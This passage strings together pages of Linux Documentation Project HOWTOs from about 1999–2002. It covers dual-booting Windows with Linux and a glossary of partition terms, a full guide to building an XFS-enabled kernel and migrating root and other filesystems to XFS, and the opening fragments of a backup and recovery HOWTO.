    1999-11-05 Network Hostname: xxxxxxx
    Domain: xxxx.xxx

    No network card
    [TCP IP CONFIGURATION/Loopback only1

    1999-11-05 Mail Modem will be used

    [SENDMAIL CONFIGRUATION/... temporary connection ...]

    1999-11-05 Boot Manager lilo

    Windows /dev/hda1
    SuSE /dev/hda2 /boot/vmlinuz

    1999-10-21 Partition 1 Filesystem C:
    FAT32
    1999-11-02 Partition 2 Filesystem tomsrtbt-1.6.335 (linux-2.0.35)
    bash> /bin/mke2fs -c /dev/hda2
    bash> /bin/e2fsck /dev/hda2
    1999-11-02 Partition 3 Filesystem tomsrtbt-1.6.335 (linux-2.0.35)
    bash> /bin/mkswap -c /dev/hda3
    1999-11-01 Partition 4 Filesystem D:
    FAT32

    [[My Computer]] {(D:)} [Format ...] [Format type\Full] [Start]
    [Close]

    ScanDisk reported no errors in a thorough test.

    Software

    Date | Parameter | Action
    Table of Contents

    Appendices

    Frequently Asked Questions

    After running fips, why does Windows report that I still have only one partition?

    Windows 98 does not recognize the effect of fips-0.9e. fips-2.0 has successfully been used to split a Windows98 partition. According to an unreliable source, Windows 98 reads partition data from the first 512 bytes of the partition itself and considers this more reliable data than the partition table.

    Why does my tool report an error that physical length does not match the logical length of the partition?

    This means that the partition table is inconsistent, and may be inaccurate. Modifying a disk with an inaccurate partition table usually requires an expert to reduce the almost certain chance of data loss.

    The severity of this message is dependent on the size of the disk. Due to historical limitations, most (but not all) computer BIOSs only support disks with less than 1024 cylinders. Booting the operating system depends on the bios, therefore (on such systems), the entire operating system must fit within this 1024 cylinders.. For the same historical reasons, the partition table format only supports reporting disk sizes of 1024 or less cylinders. Many disks today have more than 1024 physical cylinders but by convention the partition table records exactly 1024 cylinders. The operating system still needs to know where the actual partitions begin an end beyond the first 1024 cylinders and this is recorded in the partition table.

    A large disk with more than 1024 cylinders will have a logical size (sum of partition sizes) that exceeds 1024 and matches the actual size, though the partition table reports a physical size of exactly 1024 cylinders. In the case of a large disk, this message is essentially useless.

    How do I know what version of Windows I have?

    One or more of the following should tell you what version of Windows you have.
    • C:\>ver
    • {My Compuer} [Properties] [General]
    • [Start] [Run...] Open: command [OK]
    • [Start\Run...] Open: ver [OK]
    • [Start\Run...] Open: cmd ver [OK]

    How do I know what version of linux kernel I have?

    bash> uname -a

    How do I know what version of linux distribution I have?

    The question may have no meaningful answer. Since unix dialects (e.g. linux) use many interchangeable parts, it makes little difference to this HOWTO what distribution you have. The applications loaded on most linux hosts varies with time and the tastes of the owner, so that they seldom match any distribution for more than a very brief period.

    Most distributions are loosely classed by the package manager that they use.

    • pkgtool - slackware
    • rpm - RedHat
    bash> uname -a

    If I make a mistake can I start over?

    In general, no. For this reason, meticuluous care is required, especially at certain stages. Some of the operations are idempotent. An idempotent operation is one which either fails and has no effect, or succeeds and has no effect after its first success. Some of the operations are reversible. A reversible operation has an inverse operation so that you can return things to what they were and start over.

    Formatting is especially dangerous because it is neither idempotent nor reversible. If formatting succeeds, the original data is lost. If formatting fails, the original data is probably lost (since indices are usually destroyed early).
    Operation | Idempotent | Reversible | Inverse Operation | Caveat
Backup | Yes | Yes | Destroy the backup | Try reading the backup lest it be corrupt
Catalog | Yes | Yes | Destroy the catalog | Record too many details since only 1-10% will ever be used, though it is hard to predict which 1-10%.
Attach | No | Yes | Disattach the devices | Use electrostatic protection and personal safety procedures lest the delicate components or yuurself be damaged physically.
Compact | Yes | No |  | Repair filesystem errors before compacting, since recovery will probably be impossible after compacting.
Repartition | Yes | Yes | Record the starting table Reenter the recorded starting table | Carefully check the partitioning before using the computer, since applications will believe the partition table and may destroy files. A small error in partition borders or lengths may cause infrequent disk errors that are not seen for months, but can become very time-consuming.
Format | No | No |  | All data in the partition is destroyed so make sure that there is no useful information in the partition and/or that the data is in a good backup.
Initial Program Load | Yes | Yes | Format the partition | Carefully record, test, and expect to change the configuration of linux as your understanding, needs, and desires change. As you use your computer, you can expect to quickly find that you wish you'd made different configuration decisions. Most linux distributions allow easy reconfiguration of a running system.
Boot Manager | Yes | No |  | Windows installation overwrites the boot manager with one that loads Windows automatically. If you isntall Windows+linux, you must installl Windows first.
Mount | Yes | Yes | Unmount | Care with permissions is needed to prevent undesired use of the computer (e.g. openning your telephone to anyone on your cable modem network may tend to increase your phone bills.).

    How large should my swap partition be?

    Swap partition size (or even its existence) is a hotly debated issue beyond the scope of this HOWTO. Many books on performanc tuning provide guidelines on swap partition size and how to recognize a need to expand or shrink it. At press time, the author recommends 64M as a safe size.

    Should I add package xxx?

    A reader of this HOWTO presumably wants to benefit from the strengths of both Windows and linux, and suffer the shortcomings of neither.

    Most linux distributions allow you to cleanly remove any package. unix dialects support permissions so that each package gets a well defined share of the computer and this share can be identified and taken back in its entirety. unix dialects support symbolic links so that the package can appear to be in a convenient place without actually occupying space from the convenient place. The distributions that do not support easy removal are usually tiny specialized distributions like tomsrtbt. The risk that an unwanted package will plague your linux indefinitely is small since you can remove it at any time.

    Most Windows packages can never be uninstalled cleanly under Windows, as they usually leave dll updates and registry entries. It is therefore important to add packages only when you are sure that you need them, since your only way of removing them may be to reinstall Windows and every package that you want.

    Sharing a machine between Windows and linux, means that linux can aid clean removal of packages from Windows. Since it only identifies but does not predict, linux cannot insure clean removal. Since linux find resolves to the second rather than Windows find to the day, it can much more accurately identify what was changed.

    1. Record the date and time before you install a package to Windows.
    2. Install the package.
    3. Record the date and time after you install the package.
    4. Under linux, use touch to create a file timestamped at the start of installation.
    5. Under linux, use touch to create a file timestamped at the end of installation.
    6. Under linux, use find to identify every Windows file and folder that was altered during installation.
    7. Store the list of altered files and folders to identify what has to be removed or restored.
    Table of Contents

    Caveats

    There ar no caveats at press time. Please contact the maintainer with any suggestions that you have.

    Table of Contents

    Tips and Tricks

    There ar no tips and tricks at press time. Please contact the maintainer with any suggestions that you have.

    Table of Contents

    Reference

    Legend

    Symbol | Meaning | Example
[...] | Left-click a button | [File/Close] appears in most X applications. [OK] appears in most Windows dialogs
[[..]] | Double-left click a button | [[My Computer]] displays the devices of a Windows systems
{...} | Right-click a button | {My Computer\Properties} displays the configuration of a Windows system
...\... .../... | Walk a hierarchy in a menu or filesystem | linux uses / to delimit elements in hierarchies. Windows uses \ to delimit element in hierarchies.
bash> ... | Enter instructions into a bash-style shell | bash> uname -a returns linux kernel version information
A:\> ... C:\> ... | Enter instruction snto dos shell | [Start\Run...] Open: command [OK] C:\> ver returns Windows version information
(uc) | under construction | Incomplete section of this HOWTO
<...> | replace with indicated value | Enter First Name: <your first name>
    Table of Contents

    Glossary

    Bios

    A bios (Basic Input/Output System) is a small operating system supplied with and usually encoded in the computer hardware. The bios is often little more than is needed to load and run the operating system normally used. Most BIOSs at press time reside in shadow ram which is electronically removed from the computer once the normal operating system is loaded and starts running.

    Boot Manager

    See Master Boot Record..

    Defragmenting

    See Repartitioning.

    Disk

    A disk is a physical storage medium. A disk must be formatted before data on the disk is accessible. A municipal library building is a good model of a disk. The building itslf has a fixed volume and can therefore hold a fixed number of books. The largest number of books can be stored by simply dumping them inside the building, but the result would simply be a big trash pile and the books would not be available for use. In order to use the books, they are placed on bookshelves so they can be accessed. Placing the equivalent of bookshelves on the disk is called formatting.
    component | analog
disk | municipal library building
format | bookshelves

    Filesystems

    See Partition

    Format

    See Disk

    Formatting

    See Repartitioning. Though beyond the scope of this HOWTO, low-level formatting refers to the phsyical division of the magnetic media into magnetic domains similar to applying the bias to magnetic tape.

    Master Boot Record

    Each bootable partition has firmware that runs in the bios. This firmware historically occupies the 446 bytes before the partition table. A simple master boot record simply copies the operating system from the media into memory and turns computer control over to the operating system.

    At power up, cold boot, or warm boot, the bios searches the computer storage media until it finds a master boot record which it then executes it. The search locations and order differ between different bioses. Often the search order is configuratble with firmware encoded in the computer hardware with the bios. The most common search order is floppy, cdrom, network, usb disk, scsi disk, ide disk.

    A more complex master boot record, called a boot manager, loads a program into memory that gives the user an opportunity to select which operating system to load.

    Operating System

    An operating system is firmware that supports effective computter use. As an allocator, the operating system verifies that only one process at a time controls the cpu , disk, write access to a file, and other unshareable resources. As a toolkit, the operating system provides a set of software pieces for common functions (e.g. reading from a file, writing to the screen). As a virtual machine, the operating system makes the physical computer behave like another well-specified computer, so that software can be written once for the well-specified computer and then run on many physical computers with compatible operating systems. As an allocator, the operating system is like the staff that schedules the use of meeting rooms in the library. As a toolkit, the operating system is like the library staff that reshelves books or the library copier. As a virtual machine, the operating system is like one of the many libraries that endeaver to look like the U.S. Library of Congress with vertical bookshelves, a circular reference desk, and a lobby area with indices. A patron entering any such library finds the layout familiar, and one patron can give usable directions to a patron of a different library.
    • Allocator
    • Toolkit
    • Virtual Machine
    component | analog
operating system | llibrary staff

    Partition

    A disk is a physical portion of a disk. A filesystem is a map between addresses and files accessed on the disk. Most libraries are divided into floors or sections, such as Adult Fiction, Reference, and Juvenile Non-Fiction. Each section usually has its own card catalog and often different sections use different schemes. Adult Fiction is usually indexed by Author Name. Reference is usually indexed by Subject. There are even competing indexing schemes for the same section such as Dewey Decimal or Library of Congress.
    component | analog
partition | library building floor
filesystem | indexing scheme and card catalog

    Partition Table

    Every disk has a partition table stored in a standard location and in a standard format on the disk. The partition table describes where each partition begins and ends on the disk. The partition table also describes what filesystem is used in each partition. The partition table is like the wall map that usually appears at the entry to any library. This wall map tells where each section (e.g. Reference, Adult Fiction, Juvenile Non-fiction) is located and how the books are shelved (e.g. Title, Author, Dewey Decimal)
    component | analog
partition table | library floor map

    Repartitioning

    Before defragmenting, the index (I), active files (A) and deleted files (d) are distributed across the partition.
    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
|I|I|d|A|d|d|d|d|d|d|d|d|A|A|d|d|d|d|d|d|A|A|A|d|d|A| | | | |
'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'
    After defragmenting, the index(I), and active files (A) are concentrated. Some deleted files (d) are lost. Some space formerly occupied by active files become lost (l).
    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
|I|I|A|A|A|A|A|A|A|d|d|d|l|l|d|d|d|d|d|d|l|l|l|d|d|l| | | | |
'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'
    After splitting, no active data is lost, and a new partition appears that is not yet formatted.
    .-.-.-.-.-.-.-.-.-.-.
|I|I|A|A|A|A|A|A|A|d|
+-+-+-+-+-+-+-+-+-+-+-.-.-.-.-.-.-.-.-.-.
|d|d|l|l|d|d|d|d|d|d|l|l|l|d|d|l| | | | |
'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'-'
    After repartitioning, the new partition is further split.
    .-.-.-.-.-.-.-.-.-.-.
|I|I|A|A|A|A|A|A|A|d|
+-+-+-+-+-+-+-+-+-+-+
|d|d|l|l|d|d|d|d|d|d|
+-+-+-+-+-+-+-+-+-+-+
|l|l|l|d|d|l| | | | |
'-'-'-'-'-'-'-'-'-'-'
    After formatting, each formatted partition has an empty filesystem. (e.g. dos6 (I, A), ext2 (N, A), vfat (V, A)).
    .-.-.-.-.-.-.-.-.-.-.
|I|I|A|A|A|A|A|A|A|d|
+-+-+-+-+-+-+-+-+-+-+
|N| |N| | | | | | | |
+-+-+-+-+-+-+-+-+-+-+
|V|V|V| | | | | | | |
'-'-'-'-'-'-'-'-'-'-'

    Splitting

    See Repartitioning.

    Winmodem

    Winmodems are a class of devices including winprinters, winscanners. Winmodems are a subset of the class of devices that achieve low-cost by replacing hardware in their convential equivalents with firmware run by the host. The drawback of these devices is that their dependence on the host usually slows or prohibits other operations simultaneously on the host.

    By analogy low-cost headlights for an automobile might consist of a flashlight atop a battery tray that sits in the front passenger seat. To use the headlights, you must start the car, remove the battery from the car, and install the car battery in the flashlight tray. The headlight cost is reduced by the cost of the solenoid, dashboard switch, wiring, and fuses. If you use the headlights, the limitations mean that you can't carry a front passenger, you can't restart the car, you can't use the car radio, and the fuel guage reads empty.

    Winmodems are distinct from the slightly larger class of these low-cost devices by the fact that they use proprietary firmware included in the Windows operating system. In the United States, it is illegal to sell firmware to use this proprietary firmware without Microsoft consent. At press time, the price of Microsoft consent is only slightly less than the cost of a convential device.

    Table of Contents

    Bibliography

    Work | Publisher | Source
DosLinux |  | Small linux distribution installed on an existing Dos system i.e. msdos, pcdos, opendos, and win95/98. http://www.linux.org/dist/
e2fsck |  | ext2 filesystem checker Included in tomsrtbt
fdisk |  | Partition table editor Included in most linux distributions (e.g. tomsrtbt, Slackware) ftp://ftp.rge.com/pub/systems/linux/slackware/slakware/a14/util.tgz
fips |  | Partition Splitter ftp://sunsite.icm.edu.pl/pub/Linux/sunsite.unc.edu/system/installl/
format | Microsoft | Windows Partition Fromatter Included in Windows 95/98/NT
Ghost | Norton | Windows Partition Backup http://www.norton.com/sabu/ghost/
Hardware Compatibility HOWTO |  | compilation of linux support experience what works, what doesn't, http://howto.linuxberg.com/LDP/HOWTO/Hardware-HOWTO.html If the product manufacturer does not support linux, it may be several months before user experience is reported
lilo |  | Simple text configuratble boot manager
mke2fs |  | ext2 filesystem creator Included in tomsrtbt
mkswap |  | swap filesystem creator Include in tomsrtbt
System Performance Tuning | O'Reiley & Associates, Inc. | by Mike Loukides ISBN 0-937175-60-9 http://www.ora.com/catalog/spt/
tob |  | Unix Tape-Oriented Backup http://metabab.unc.edu/pub/Linux/system/backup/
tomsrtbt | Toms Ochser | Tom's Root Boot Small Linux distribution that fits on a single floppy disk t's useful as a root/boot/recovery disk http://www.tux.org/pub/distributions/tinylinux/tomsrtbt/
vmware | VMware, Inc. | x86 emulation http://www.vmware.com/
yast | SuSE GmbH | Yet another Setup Tool Suse System Configuration Tool http://newton.ikp.physik.tu-darmstadt.de/doc/susehilf/pak_e/paket_yast.html
    Table of Contents

    This HOWTO

    The purpose of this copyright and license is to promote distribution and use limited only by accuracy. Your experience and modifications are requested for distribution. Please submit them to the maintainer.

    Copyright

    Copyright (c) 1999 by Dr. Robert J. Meier. This document may be distributed only subject to the terms and conditions set forth in the LDP License, except that this document must not be distributed in modified form without the author's consent.

    LINUX DOCUMENTATION PROJECT LICENSE (LDPL) v2.0, 12 January 1998

      COPYRIGHT

      The copyright to each Linux Documentation Project (LDP) document is owned by its author or authors.

      LICENSE

      The following license terms apply to all LDP documents, unless otherwise stated in the document. The LDP documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that this license notice is displayed in the reproduction. Commercial redistribution is permitted and encouraged. Thirty days advance notice via email to the author(s) of redistribution is appreciated, to give the authors time to provide updated documents.

        REQUIREMENTS OF MODIFIED WORKS

        All modified documents, including translations, anthologies, and partial documents, must meet the following requirements:

        1. The modified version must be labeled as such.
        2. The person making the modifications must be identified.
        3. Acknowledgement of the original author must be retained.
        4. The location of the original unmodified document be identified.
        5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.
        In addition it is requested that:
        1. The modifications (including deletions) be noted.
        2. The author be notified by email of the modification in advance of redistribution, if an email address is provided in the document.
        As a special exception, anthologies of LDP documents may include a single copy of these license terms in a conspicuous location within the anthology and replace other copies of this license with a reference to the single copy of the license without the document being considered "modified" for the purposes of this section.

        Mere aggregation of LDP documents with other documents or programs on the same media shall not cause this license to apply to those other works.

        All translations, derivative documents, or modified documents that incorporate any LDP document may not have more restrictive license terms than these, except that you may require distributors to make the resulting document available in source format.

        LDP documents are available in source format via the LDP home page at http://sunsite.unc.edu/LDP/.

    Table of Contents

    Submission of Errors, Omissions, and Modifications

    No contact is required to use this HOWTO, but the maintainer would appreciate hearing from you. When you find anything missing or in error in this HOWTO, please send email to the maintainer. Please include Re:Linux+Windows-Howto in the subject followed by one of the keywords below. Please include your email address or other contact information if you are interested in a reply or if you are willing to provide further details.
    Keyword for subject | Body
Usage | How did you use this HOWTO? What was your situation? Which character did you use?
Error | What is incorrect? Do you have a solution? Do you know who has the solution?
Missing | What question wasn't answered? Do you know the answer? Do you know who has the answer?
Experience | What are details of your system before? after? What exactly did you do? What worked? What didn't work?
    Table of Contents

    Future Work

    The following are enhancements planned for this HOWTO.
    • Split out maintenance record format as separate HOWTO.
    • Write Open Software Distribution Standard as HOWTO and reference.
    Table of Contents

    Revision History

    Author | Contacts
Jonathan Katz | mailto:jkatz@in.net
Dr. Robert J. Meier Maintainer | mailto:robert.meier@fanucrobotics.com?subject=Re%3ALinux%2BWindows%2DHOWTO
    Date | Author | Change
1995-11-?? | Jonathan Katz | Wrote Linux+Win95
1999-10-21 | Dr. Robert J. Meier | First draft of Linux+Windows-HOWTO
    Table of Contents


Linux + XFS HOWTO

Linux on Steroids

Russel Ingram

ringram@gargoylecc.com

Revision History
Revision v1.1 | 2002-05-12 | Revised by: ri
Updated sgi cvs info to match current state; made various changes/clarifications based on reader feedback
Revision v1.02 | 2001-10-08 | Revised by: ri
Added some note, blockquote and ulink tags. Corrected error in command section of "Finishing Up". Changed note about e2fsprogs-devel to refer to libuuid.
Revision v1.01 | 2001-10-04 | Revised by: ri
Corrected error in "Finishing up" section; various formatting changes

This document describes how to build a Linux system that runs on top of the SGI XFS journaling filesystem.

Table of Contents
1. Introduction
1.1. Introduction to XFS for Linux
1.2. Foreword, Feedback, & Credits
1.3. Copyright & Disclaimer
2. Preparation for XFS Installation
2.1. Downloading the Linux 2.4.x-XFS Kernel Source
2.2. XFS Support as Modules or Compiled Into the Kernel?
3. Kernel Configuration and Installation
3.1. Configuring your kernel for XFS support
3.2. Building the kernel and modules
3.3. Installing the new kernel and modules
3.4. Add a new entry to your lilo configuration and re-install lilo
3.5. Build and install the XFS utilities
3.6. Boot the new kernel
4. Filesystem Migration
4.1. Migrating the / filesystem
4.2. Finishing up
Next
Introduction


Introduction

Linux + XFS HOWTO: Linux on Steroids
Prev Next

1. Introduction

1.1. Introduction to XFS for Linux

This document describes how to build a Linux system that runs on top of the SGI XFS journaling filesystem. From the XFS FAQ: "XFS is a journalling filesystem developed by SGI and used in SGI's IRIX operating system. It is now also available under GPL for linux. It is extremely scalable, using btrees extensively to support large sparse files, and extremely large directories. The journalling capability means no more waiting for fsck's or worrying about meta-data corruption." Essentialy XFS is the filesystem SGI designed for its highend server systems, hence the subtitle of this document, "Linux on Steroids". :-)

1.2. Foreword, Feedback, & Credits

As a fairly new member of the Irix System Administrator community I have fallen in love with the robustness of the filesystem that has been developed to support Irix (XFS of course). So, needless to say I've been following the porting effort to Linux for quite some time and have dreamed of being able to run my Linux systems on top of an all XFS filesystem since the beginning. The project has come to a point (actually nearly a year ago at the time of this writing) that this could actually be a reallity. However, as is the case with a great deal of programming/porting projects, the documentation for such task is not always as readily available or easy to follow as one might hope. This document is an attempt to remedy that situation.

The information contained in this document is based on messages from Jason Walker and Russell Cattelan taken from the XFS development mailing list, information gathered from various places on the SGI Open Source Development web site, and from my own experiences setting up such a system.

Please feel free to email me at <ringram@gargoylecc.com> if you have any corrections or if any imformation/URLs/etc. is missing. The more feedback I get on this HOWTO the more helpful it will be for all.

The latest version of this document can be found at Gargoyle Computer Consulting .

1.3. Copyright & Disclaimer

This document is copyright(c) 2001 Russel Ingram and it is a FREE document. You may redistribute it under terms of the GNU General Public License.

The information contained in this document is, to the best of Russel's knowledge, correct. However, the XFS Linux port is written by humans and thus, there is the chance that mistakes, bugs, etc. might happen from time to time.

No person, group, or other body is responsible for any damage on your computer(s) and any other losses by using the information in this document. i.e.

THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION IN THIS DOCUMENT.

Prev | Home | Next
Linux + XFS HOWTO |  | Preparation for XFS Installation


Preparation for XFS Installation

Linux + XFS HOWTO: Linux on Steroids
Prev Next

2. Preparation for XFS Installation

2.1. Downloading the Linux 2.4.x-XFS Kernel Source

Currently the only place to get the source code for the XFS enabled Linux kernel is straight from SGI's Open Source Development site via CVS.

Note Note

two distinct trees are available:

  • linux-2.5-xfs: development tree

  • linux-2.4-xfs: stable bug fix only tree

My experience has been with the 2.4 tree, but I imagine everything will work the same with the development tree. Both trees are kept in sync with their respective mainline kernel tree at least to the point of major release numbers.

Here are the steps to download the kernel source tree:

A. Normally the linux kernel source is installed in the /usr/src directory, so you should start off by switching to that directory.

$ cd /usr/src

B. Next, you should set the CVSROOT environment variable so that it points to the proper cvs server.

  • If you are running sh, bash, ksh, etc...:
    $ export CVSROOT=':pserver:cvs@oss.sgi.com:/cvs'

  • If you are running csh or tcsh:
    $ setenv CVSROOT  :pserver:cvs@oss.sgi.com:/cvs

If you plan on updating your kernel often (to keep up with the latest changes) you might want to put this in your login script.

C. Then log in to the cvs server.

$ cvs login  (the password is "cvs")

This needs to be done only ONCE, not everytime you access CVS.

D. Now grab linux-2.4-xfs. The first time you will want to do something like:

$ cvs -z3 co linux-2.4-xfs

After you have checked the code out, you can use:

$ cvs -z3 update linux-2.4-xfs

to update your copy to the latest version from the CVS server.

2.2. XFS Support as Modules or Compiled Into the Kernel?

The option to build XFS support for the Linux kernel as modules is available and will work (or so I am told) with the help of an initial RAM disk and a couple of additions to the lilo configuration. I have not tried this (yet), so I will not include documentation on how this is done other than just to qoute from a message to the development mailing list from Russell Cattelan:

Actually running xfs as a module isn't very hard. in the directory cmd/xfs/misc there is a modified mkinitrd the will always generate a ram disk with pagebuf xfs_support and xfs.

Once that is done just add the initrd line in lilo.conf AND

append = "ramdisk_size=25000"

The default size is 4096 which isn't nearly large enough to hold xfs.

This is from my laptop.

punch[12:57am]-=>mount
/dev/ide/host0/bus0/target0/lun0/part8 on / type xfs (rw,noatime)
none on /proc type proc (rw)
/dev/ide/host0/bus0/target0/lun0/part6 on /boot type ext2 (rw,noatime)
none on /dev/pts type devpts (rw,mode=0620)
/dev/ide/host0/bus0/target0/lun0/part1 on /mnt/windows type vfat (rw,nosuid,nodev,umask=0)
/dev/ide/host0/bus0/target0/lun0/part9 on /blam type xfs (rw)

punch[12:57am]-=>lsmod
Module                  Size Used by
autofs                 13180   1 (autoclean)
usb-uhci               24918   0 (unused)
usbcore                35339   0 [usb-uhci]
3c59x                  25149   1 (autoclean)
maestro                29757   0 (unused)
soundcore               6085   2 [maestro]
vfat                   13075   1 (autoclean)
fat                    37733   0 (autoclean) [vfat]
xfs                   447888   2
xfs_support            13954   0 [xfs]
pagebuf                39935   2 [xfs]

image=/boot/vmlinuz-2.4.0-XFS-test13-pre4
label=t13p4
root=/dev/hda8
initrd=/boot/initrd-2.4.0-XFS-test13p4.img
append="ramdisk_size=25000"
read-only

-- Russell Cattelan

It seems to me that compiling the support into the kernel would be much simpler, so that is how I am doing it at this point. I will try it as a module at a later time and add more detailed instructions then. If anyone has time to document this method before I get around to it please email it to me and I will include it with credit given where credit is due. :-)

Prev | Home | Next
Introduction |  | Kernel Configuration and Installation


Kernel Configuration and Installation

Linux + XFS HOWTO: Linux on Steroids
Prev Next

3. Kernel Configuration and Installation

3.1. Configuring your kernel for XFS support

Note | Note
 | If you have never configured and compiled a new linux kernel you might consider reading the Linux Kernel HOWTO before doing this step. It can be found at the Linux Documentation Project (LDP) or one of its mirrors.

After having downloaded the cvs source tree the actual kernel source will be in /usr/src/linux-2.4-xfs(-beta)/linux, so you should switch to that directory before running the make config command of your choice. The main things that must be included in your kernel to provide XFS support are "Page Buffer support" and (duh) "SGI XFS filesystem support." Both options are available in the "File systems" section of the kernel configuration. You will need to have "Prompt for development and/or incomplete code/drivers" selected under "Code maturity level options" for those options to be available to you. Optionally, you may also want to select "Enable XFS Debug mode" and "Enable XFS Vnode Tracing" under "SGI XFS filesystem support." These options may slow your XFS implementation some, but may be useful in tracing the cause of a crash if a crash occurs.

3.2. Building the kernel and modules

As with any kernel build, the following commands must be run to actually build the new kernel:

$ make dep
$ make bzImage
$ make modules

3.3. Installing the new kernel and modules

Again this is standard for any kernel installation:

$ make modules_install
$ cp arch/i386/boot/bzImage /boot/vmlinuz-2.4.0-XFS

3.4. Add a new entry to your lilo configuration and re-install lilo

$ vi /etc/lilo.conf

Add a new image section to your lilo.conf file similar to the following:

image=/boot/vmlinuz-2.4.0-XFS label=xfs  read-only  root=/dev/hda2

The "root=" line should match the "root=" line from the existing image sections in your lilo.conf file. Don't forget to run lilo when you're through editing lilo.conf to make the changes effective.

3.5. Build and install the XFS utilities

There are a number of tools that come with the XFS filesystem that allow you to build and manage your XFS filesystems that must be built as well. These tools are in the /usr/src/linux-2.4-xfs(-beta)/cmd/xfsprogs directory.

Note | Note
 | These tools rely on the /usr/lib/libuuid.a shared library. If you do not have this library installed you will need it in order for the XFS utilities to compile. You can find the rpm package for your version of Linux from Rpmfind.net by searching for "/usr/lib/libuuid.a." The debian package that contains libuuid is uuid-dev. There will no doubt be other distributions that package this library in another place. A good way to find the correct package on those distributions is to search on the Google Linux search engine.

Change to that directory:

$ cd ../cmd/xfsprogs

Build and install the xfs utilities:

$ make install

3.6. Boot the new kernel

$ reboot

Note | Note
 | Unless you changed the default label to boot in your lilo.conf file you will need to enter "xfs" at the "LILO Boot:" prompt in order to boot the new kernel image.
Prev | Home | Next
Preparation for XFS Installation |  | Filesystem Migration


Filesystem Migration

Linux + XFS HOWTO: Linux on Steroids
Prev

4. Filesystem Migration

The final part of this whole process is probably actually the trickiest and most dangerous as far as the possibility of losing your data goes. I strongly suggest that you make a complete backup of the system (or at least all important data) before attempting the migration to XFS. This part is also the most difficult to explain as there are probably hundreds of ways you can do this based on the set up of your existing filesystem. I will give you the basic commands for creating the new filesystems, try to give some pointers on how to go about shuffling filesystems, and in general just relay to you the way I went about migrating my own filesystems.

4.1. Migrating the / filesystem

Probably the trickiest part of creating a fully XFS system is migrating the / filesystem since that is the system that supports the entire rest of the system and it cannot actually be unmounted while the system is running. If you have extra partitions that can be mounted as / then you will be able to do it something like this(I am using /dev/hda4 as the spare partition and /dev/hda2 as / for this example):

$ mkfs -t ext2 /dev/hda4
$ mkdir /mnt/temp
$ mount -t ext2 /dev/hda4 /mnt/temp
$ cd /
$ tar lcf - .|(cd /mnt/temp; tar xpvf - )

Notice I have used tar here to copy the files from the / fs to the spare partition. Alternatively you could use cp -dpR, but if you use tar like I've shown here with the -l flag it will copy only files from within the / fs (i.e. if you have another partition mounted as /usr it won't copy those).

The next step will be to change all references to /dev/hda2 to /dev/hda4 in /etc/fstab and in /etc/lilo.conf and run lilo. You'll then need to reboot the system again.

After rebooting the system /dev/hda4 will be mounted as / and your original / filesystem (/dev/hda2) will not be mounted. You can now create the new XFS filesystem on /dev/hda2.

$ mkfs -t xfs /dev/hda2

Then mount the new xfs fs:

$ mount -t xfs /dev/hda2 /mnt/temp

And copy the original / fs back to its original home:

$ cd /
$ tar lcf - .|(cd /mnt/temp; tar xpvf -)

Once again you will need to change all instances of /dev/hda4 in /etc/fstab and /etc/lilo.conf and run lilo. You will also need to change the filesystem type for / in /etc/fstab. It should now look something like this:

/dev/hda2               /                       xfs    defaults 1 1

Note Note

On some linux distributions the options given to the out-of-box fstab may be more in depth than just "defaults." For instance, on Debian systems they use "defaults,errors=remount-ro." The mount options are different for every filesystem with the exception of the keyword "defaults." Unless you know the specific XFS mount options you want you should stick with just the defaults option. In the Debian example given, the errors option is not available with XFS and will cause your filesystem not to mount.

Additionally, filesystem labels are becoming more popular so you may see an entry in your fstab that looks something like this:
LABEL=/                 /                       ext2    defaults        1 1
The easiest way to avoid problems is to simply replace the referenced label with the proper device file name (i.e. if /dev/hda1 is labeled / replace "LABEL=/" with "/dev/hda1").

Now reboot the system with the new xfs / filesystem.

Of course there are a lot of other ways to accomplish the root filesystem migration and if you think you have a good one I would definitely like to hear it and will put it in this doc if it seems like a simpler way than what is here. I, myself, didn't have a spare partition to work with but had a CD burner so I burnt a cd of my root filesystem to mount as root while I created the new xfs /. In all cases, however, the basic commands for creating and mounting the new filesystem will be the same.

4.2. Finishing up

The last of the process is fairly simple and essentially the same process of swapping around partitions while making new filesystems as was done for /. I recommend that you do the rest of this process with the system in single user mode so you can unmount everything other than / and do all of the swapping without having to reboot a million times. You can boot to single user mode by either issueing a runlevel change command to the init process like so:

$ telinit 1

or by rebooting and asking for single user mode at the Lilo prompt:

LILO Boot: xfs single

This will boot the system and drop you into a root shell with no outside connections or virtual terminals so there is no chance of any of the filesystems being in use by other users or processes (causing them to be busy so you can't unmount them). Now you can mount the spare partition, as before, copy one of the remaining filesystems to be migrated onto it (you will probably have to remove the existing contents leftover from /), unmount the old filesystem, create the xfs filesystem on it, remount it as xfs, and copy the old filesystem back onto it. Lets say you have a /dev/hda3 partition mounted as /usr. The process would go something like this:

$ mount -t ext2 /dev/hda4 /mnt/temp
$ cd /usr
$ tar lcf - .|(cd /mnt/temp; tar xpvf - )
$ cd /mnt/temp
$ umount /usr
$ mkfs -t xfs /dev/hda3
$ mount -t xfs /dev/hda3 /usr
$ tar lcf - .|(cd /usr; tar xpvf - )

Don't forget to change the filesystem type in /etc/fstab for /usr to xfs.

That's all there is to it. The rest of the filesystems to be migrated will work the same way, then you can reboot to full miltiuser mode and you've got your "Linux on Steroids!"

Prev | Home
Kernel Configuration and Installation |


GNU Free Documentation License

Linux Complete Backup and Recovery HOWTO
Prev Next

A. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
Resources |  | PREAMBLE


Application Specific Notes

Linux Complete Backup and Recovery HOWTO
Prev Next

8. Application Specific Notes

I have listed below notes about backing up particular applications.

8.1. Squid

